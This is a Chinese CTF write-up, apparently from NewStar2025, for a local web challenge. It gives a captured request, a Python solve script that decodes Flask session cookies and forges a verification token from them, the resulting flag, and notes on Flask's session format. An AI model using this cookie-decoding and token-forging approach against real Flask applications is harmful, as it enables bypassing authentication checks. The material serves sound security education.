1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /verify_token HTTP/1.1 Host: 127.0.0.1:55488 Content-Type: application/json Origin: http://127.0.0.1:55488 Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Cookie: session=.eJxVy00KgzAQQOG7zDqLqK35WfceIdQhDYyJTCYglN5du9P1e98X3p9IhCVhWDtJ3igjgx_1aKy6xCaRJUheEfxg5sdzdtbejr2ebtLGauMUUE0Jl5ALeOGOCnpDLvHP4VW5wu8ALNgpNA.aS0zIA.o2qMfR6U9nZtGQmsm1sNm_fRQUw sec-ch-ua-platform: "Windows" Referer: http://127.0.0.1:55488/home sec-ch-ua-mobile: ?0 Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99" Accept: */* Sec-Fetch-Site: same-origin Content-Length: 11 {"token":1}
这里其实只用注意两次cookie(第二次用的第一次返回的)的样子是不一样的,所以需要脚本自己获取验证post的cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 import requests, json, base64, zlib, timeBASE_URL = "http://127.0.0.1:55488" HEADERS = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" , "Accept" : "*/*" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Content-Type" : "application/json" , "Origin" : BASE_URL, "Referer" : f"{BASE_URL} /home" , "sec-ch-ua" : '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"' , "sec-ch-ua-mobile" : "?0" , "sec-ch-ua-platform" : '"Windows"' } def decode_session (cookie ): """ 解码Flask框架的session cookie函数 Flask的session格式: .<base64数据>.<时间戳>.<签名> """ try : data = cookie.split('.' )[1 ] data += '=' * (4 - len (data) % 4 ) return json.loads(zlib.decompress(base64.urlsafe_b64decode(data))) except : return {} def solve (): """ 主解题函数,按顺序执行四个步骤 """ s = requests.Session() s.cookies.set ('session' , ".eJxNi0EKwyAQAP-yZw8NdhPjuf8QaRYrbDRsViiE_j32JsxtZi54fyIzlURhb6z54EwC3qKzqxnkqVE0aN4J_LTMT5wXh24svrV_0wPRdgxwTYm2kAt4lUYG2klS4v-HV5UKvxtRoSlh.aS0rMg.JfIgDgcoK8-DXwEwkWorxV763XQ" ) r = s.post(f"{BASE_URL} /start_challenge" , headers=HEADERS) data = r.json() c = data["multiplier" ] b = int (data["xor_value" ], 16 ) new_cookie = r.headers["Set-Cookie" ].split('session=' )[1 ].split(';' )[0 ] session_data = decode_session(new_cookie) a = session_data.get('a' ) or session_data.get('time' ) or int (time.time()) token = (a * c) ^ b s2 = requests.Session() s2.cookies.set ('session' , new_cookie) resp = s2.post(f"{BASE_URL} /verify_token" , headers=HEADERS, json={"token" : token}) print (resp.text) if __name__ == "__main__" : solve()
1 2 3 4 5 6 7 8 9 (.venv) PS E:\CTF\比赛\NewStar2025\项目> & C:/Users/jerry/AppData/Local/Programs/Python/Python313/.venv/Scripts/python.exe e:/CTF/比赛/NewStar2025/项目/pwn/temp.py C:\Users\jerry\AppData\Local\Programs\Python\Python313\.venv\Lib\site-packages\requests\__init__.py:113: RequestsDependencyWarning: urllib3 (2.5.0) or chardet (2.0.3)/charset_normalizer (3.4.2) doesn't match a supported version! warnings.warn( { "elapsed_time": 0.61, "flag": "flag{985e0103-29a5-2364-ca54-7946ea9d9fb7}", "message": "\u9a8c\u8bc1\u6210\u529f\uff01", "success": true }
补充:
所以这里用的是session机制;同时也可以解析一下cookie:
Flask 默认使用 客户端 Session: <payload>.<timestamp>.<signature>
1 2 3 4 5 Set-Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.aS0zIg.Oer5xvTkd0J6RmUBiw3IzYTu4Rs; HttpOnly; Path=/ #eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9 base64解码为 {"logged_in":true,"username":"Doro"} #aS0zIg为时间戳 #最后一段时签名 #Set-Cookie: session=上面的值; HttpOnly; Path=/